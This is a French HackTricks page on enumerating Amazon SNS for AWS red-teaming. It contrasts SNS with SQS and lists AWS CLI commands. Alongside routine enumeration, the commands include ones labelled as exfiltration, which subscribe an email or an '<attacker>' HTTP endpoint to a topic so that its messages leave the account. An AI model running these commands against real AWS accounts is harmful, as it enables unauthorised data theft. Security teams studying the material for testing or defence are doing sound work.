AWS - SNS Enum

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

SNS

Amazon Simple Notification Service (Amazon SNS) est décrit comme un service de messagerie entièrement géré. Il prend en charge à la fois les types de communication application à application (A2A) et application à personne (A2P).

Les fonctionnalités clés pour la communication A2A incluent les mécanismes de publication/abonnement (pub/sub). Ces mécanismes introduisent des sujets, cruciaux pour permettre une messagerie push, many-to-many à haut débit. Cette fonctionnalité est très avantageuse dans les scénarios impliquant des systèmes distribués, des microservices et des architectures serverless basées sur des événements. En exploitant ces sujets, les systèmes émetteurs peuvent distribuer efficacement des messages à une large gamme de systèmes abonnés, facilitant un modèle de messagerie en éventail.

Différence avec SQS

SQS est un service basé sur des files d'attente qui permet une communication point à point, garantissant que les messages sont traités par un seul consommateur. Il offre une livraison au moins une fois, prend en charge les files d'attente standard et FIFO, et permet la rétention des messages pour les réessais et le traitement différé. D'autre part, SNS est un service basé sur la publication/abonnement, permettant une communication un à plusieurs en diffusant des messages à plusieurs abonnés simultanément. Il prend en charge divers points de terminaison d'abonnement tels que l'e-mail, les SMS, les fonctions Lambda et HTTP/HTTPS, et fournit des mécanismes de filtrage pour une livraison ciblée des messages. Bien que les deux services permettent de découpler les composants dans les systèmes distribués, SQS se concentre sur la communication en file d'attente, tandis que SNS met l'accent sur les modèles de communication en éventail basés sur des événements.

Énumération

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Notez que si le sujet est de type FIFO, seuls les abonnés utilisant le protocole SQS peuvent être utilisés (HTTP ou HTTPS ne peuvent pas être utilisés).

De plus, même si le --topic-arn contient la région, assurez-vous de spécifier la région correcte dans --region sinon vous obtiendrez une erreur qui semble indiquer que vous n'avez pas accès, mais le problème est la région.

Accès non authentifié

pageAWS - SNS Unauthenticated Enum

Élévation de privilèges

pageAWS - SNS Privesc

Post-exploitation

pageAWS - SNS Post Exploitation

Persistance

pageAWS - SNS Persistence

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour